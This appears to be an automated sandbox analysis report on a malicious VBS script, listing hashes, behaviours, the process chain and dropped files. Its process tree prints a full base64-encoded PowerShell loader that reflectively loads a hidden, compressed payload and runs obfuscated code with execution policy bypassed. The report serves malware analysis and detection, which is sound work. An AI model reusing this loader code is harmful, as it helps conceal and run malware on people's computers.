Analysis
-
max time kernel
117s -
max time network
117s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
30-04-2024 01:32
Static task
static1
Behavioral task
behavioral1
Sample
80d66a927ede02982222ad5ec0b000e0ee696476724d480980d6a4009a59ddb9.vbs
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
80d66a927ede02982222ad5ec0b000e0ee696476724d480980d6a4009a59ddb9.vbs
Resource
win10v2004-20240226-en
General
-
Target
80d66a927ede02982222ad5ec0b000e0ee696476724d480980d6a4009a59ddb9.vbs
-
Size
296KB
-
MD5
b6c156a6ddcc914249b7316bd49401e9
-
SHA1
16feeb332df9a7d664a548cfcf2c5ae79878ae08
-
SHA256
80d66a927ede02982222ad5ec0b000e0ee696476724d480980d6a4009a59ddb9
-
SHA512
dd6e13dce798e1820403cb2922c7d69894cd44d064dca32c8876165df34eebd3331b72e1f3b0bbd83585d9b9830ecfe7f06fd1daca8f9ecf38f59c31e69028bb
-
SSDEEP
6144:2c7tvCwj2O9lT+TIvZCoJZP2xwrpuHeAFUhhmPhLkJRY:vKwRwkImzs/Mh2gJ6
Malware Config
Signatures
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: CmdExeWriteProcessMemorySpam 2 IoCs
Processes:
powershell.exepowershell.exepid process 2640 powershell.exe 2568 powershell.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepowershell.exepid process 2640 powershell.exe 2568 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 2640 powershell.exe Token: SeDebugPrivilege 2568 powershell.exe -
Suspicious use of WriteProcessMemory 11 IoCs
Processes:
WScript.execmd.exedescription pid process target process PID 2196 wrote to memory of 2596 2196 WScript.exe cmd.exe PID 2196 wrote to memory of 2596 2196 WScript.exe cmd.exe PID 2196 wrote to memory of 2596 2196 WScript.exe cmd.exe PID 2596 wrote to memory of 2640 2596 cmd.exe powershell.exe PID 2596 wrote to memory of 2640 2596 cmd.exe powershell.exe PID 2596 wrote to memory of 2640 2596 cmd.exe powershell.exe PID 2596 wrote to memory of 2640 2596 cmd.exe powershell.exe PID 2596 wrote to memory of 2568 2596 cmd.exe powershell.exe PID 2596 wrote to memory of 2568 2596 cmd.exe powershell.exe PID 2596 wrote to memory of 2568 2596 cmd.exe powershell.exe PID 2596 wrote to memory of 2568 2596 cmd.exe powershell.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\80d66a927ede02982222ad5ec0b000e0ee696476724d480980d6a4009a59ddb9.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.execmd /c ""C:\Users\Admin\Jykpxb.bat" "2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KIyAiVGhlIHN1cmVzdCB3YXkgdG8gY29ycnVwdCBhIHlvdXRoIGlzIHRvIGluc3RydWN0IGhpbSB0byBob2xkIGluIGhpZ2hlciBlc3RlZW0gdGhvc2Ugd2hvIHRoaW5rIGFsaWtlIHRoYW4gdGhvc2Ugd2hvIHRoaW5rIGRpZmZlcmVudGx5LiINCiMgIkluIGhlYXZlbiwgYWxsIHRoZSBpbnRlcmVzdGluZyBwZW9wbGUgYXJlIG1pc3NpbmcuIg0KIyAiSGUgd2hvIGhhcyBhIHdoeSB0byBsaXZlIGNhbiBiZWFyIGFsbW9zdCBhbnkgaG93LiINCiMgIlRvIGxpdmUgaXMgdG8gc3VmZmVyLCB0byBzdXJ2aXZlIGlzIHRvIGZpbmQgc29tZSBtZWFuaW5nIGluIHRoZSBzdWZmZXJpbmcuIg0KIyAiV2l0aG91dCBtdXNpYywgbGlmZSB3b3VsZCBiZSBhIG1pc3Rha2UuIg0KDQoNCmZ1bmN0aW9uIFJldmVyc2VTdHJpbmcoJGlucHV0U3RyaW5nKSB7DQogICAgJGNoYXJBcnJheSA9ICRpbnB1dFN0cmluZy5Ub0NoYXJBcnJheSgpDQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0NCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheQ0KICAgIHJldHVybiAkcmV2ZXJzZWRTdHJpbmcNCn0NCiMgIlRoZXJlIGlzIGFsd2F5cyBzb21lIG1hZG5lc3MgaW4gbG92ZS4gQnV0IHRoZXJlIGlzIGFsc28gYWx3YXlzIHNvbWUgcmVhc29uIGluIG1hZG5lc3MuIg0KIyAiVGhhdCB3aGljaCBkb2VzIG5vdCBraWxsIHVzIG1ha2VzIHVzIHN0cm9uZ2VyLiINCg0KZnVuY3Rpb24gQ2xvc2UtUHJvY2VzcyB7DQogICAgcGFyYW0oDQogICAgICAgIFtzdHJpbmddJFByb2Nlc3NOYW1lDQogICAgKQ0KDQogICAgJHByb2Nlc3MgPSBHZXQtUHJvY2VzcyAtTmFtZSAkUHJvY2Vzc05hbWUgLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWUNCg0KICAgIGlmICgkcHJvY2VzcyAtbmUgJG51bGwpIHsNCiAgICAgICAgU3RvcC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRm9yY2UNCgl9DQp9DQojICJJbiBpbmRpdmlkdWFscywgaW5zYW5pdHkgaXMgcmFyZTsgYnV0IGluIGdyb3VwcywgcGFydGllcywgbmF0aW9ucywgYW5kIGVwb2NocywgaXQgaXMgdGhlIHJ1bGUuIg0KIyAiVGhlIG1hbiBvZiBrbm93bGVkZ2UgbXVzdCBiZSBhYmxlIG5vdCBvbmx5IHRvIGxvdmUgaGlzIGVuZW1pZXMgYnV0IGFsc28gdG8gaGF0ZSBoaXMgZnJpZW5kcy4iDQojICJBIHRoaW5rZXIgc2VlcyBoaXMgb3duIGFjdGlvbnMgYXMgZXhwZXJpbWVudHMgYW5kIHF1ZXN0aW9ucyDigJQgYXMgYXR0ZW1wdHMgdG8gZmluZCBvdXQgc29tZXRoaW5nLiBTdWNjZXNzIGFuZCBmYWlsdXJlIGFyZSBmb3IgaGltIGFuc3dlcnMgYWJvdmUgYWxsLiINCg0KZnVuY3Rpb24gQ05WKCRhcnIpeyANCiAgICAkbz0xMjM7IA0KICAgICRkPSRudWxsOyANCiAgICBmb3JlYWNoKCRpIGluICRhcnIpeyANCiAgICAgICAgaWYgKCRpIC1ndCAxMjcpIHsgDQogICAgICAgICAgICAkZCs9IFtjaGFyXSgkaS0kbykgDQogICAgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgJGQrPSBbY2hhcl0oJGkrJG8pIA0KICAgICAgICB9IA0KICAgIH0gDQogICAgcmV0dXJuICRkIA0KfQ0KDQoNCiRlbmNvZGVkQXJyYXkgPSBAKDE1OSwyMjAsMjM4LDIzOCwyMjQsMjMyLDIyMSwyMzEsMjQ0LDE2OSwxOTIsMjMzLDIzOSwyMzcsMjQ0LDIwMywyMzQsMjI4LDIzMywyMzksMTY5LDE5NiwyMzMsMjQxLDIzNCwyMzAsMjI0LDE2MywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NCwxODIpDQokZGVjb2RlZFN0cmluZyA9IENOViAkZW5jb2RlZEFycmF5DQoNCg0KJGZpbGVQYXRoID0gSm9pbi1QYXRoICRlbnY6VXNlclByb2ZpbGUgIkp5a3B4Yi5iYXQiDQokbGFzdExpbmUgPSBHZXQtQ29udGVudCAtUGF0aCAkZmlsZVBhdGggfCBTZWxlY3QtT2JqZWN0IC1MYXN0IDENCiRjbGVhbmVkTGluZSA9ICRsYXN0TGluZSAtcmVwbGFjZSAnXjo6Jw0KJHJldmVyc2UgPSBSZXZlcnNlU3RyaW5nICRjbGVhbmVkTGluZQ0KJGRlY29tcHJlc3NlZEJ5dGUgPSBEZWNvbXByZXNzQnl0ZXMgLWNvbXByZXNzZWREYXRhICRyZXZlcnNlDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQpJbnZva2UtRXhwcmVzc2lvbiAkZGVjb2RlZFN0cmluZw0KDQpDbG9zZS1Qcm9jZXNzIC1Qcm9jZXNzTmFtZSAiY21kIg==')) | Out-File -FilePath 'C:\Users\Admin\Jykpxb.ps1' -Encoding UTF8"3⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\Jykpxb.ps1"3⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msFilesize
7KB
MD55639427fae42714ec8b01800de1d63d1
SHA13ec395fe543543addfaf1c9c5c1affeee034cdf0
SHA256fae732ae0e166ae8ea09ee7082954bea81acbda06f6ec3be111626d216cc00cc
SHA5126f38ce6d1f95bd249d7fbdef8093275288f533a1af65fb2fb8adfe2ce045ab11c81d41847d412fb4d9c9f1c375655557d3bf9bbea677856e91ff1abdbd5bb1ea
-
C:\Users\Admin\Jykpxb.batFilesize
276KB
MD52c111f46d26f1352673ae6dc86a990fe
SHA1a523fdff3ae3672b0f815c8af3ef0b3982b841d6
SHA2565f175835c666dba497ed962c90679fc4c61b84a021f68ebb900a0d5d5b660d32
SHA5126c4ff1a335d5b8671da3e3cc178bb5ae345e45c262617a58087e36260a346fb8ee699d9db057336ea412e11e2288e9ace76c741ee5c6fc18fb91e0206e51c7ff
-
C:\Users\Admin\Jykpxb.ps1Filesize
2KB
MD5f90fbcb070697feb9fcffa1102bf5c9a
SHA126406dbe3e8f343b13dae2a44193e0918f99e65a
SHA2563ddf16f60017414eb9b0ce45e8688b266c735902003e28814147a017a94f1bce
SHA51223840709dd4908bbff1ccc7d718a5f7cd3ab1a70296f8a99d8ece9e7c8fe7c0a51eaa3a2905e1f4daa70fbbf5285185b4e3a1432191544f02b9270dd76079579
-
memory/2640-12-0x0000000074120000-0x00000000746CB000-memory.dmpFilesize
5.7MB
-
memory/2640-16-0x0000000074120000-0x00000000746CB000-memory.dmpFilesize
5.7MB
-
memory/2640-15-0x0000000002A70000-0x0000000002AB0000-memory.dmpFilesize
256KB
-
memory/2640-14-0x0000000002A70000-0x0000000002AB0000-memory.dmpFilesize
256KB
-
memory/2640-13-0x0000000002A70000-0x0000000002AB0000-memory.dmpFilesize
256KB
-
memory/2640-18-0x0000000074120000-0x00000000746CB000-memory.dmpFilesize
5.7MB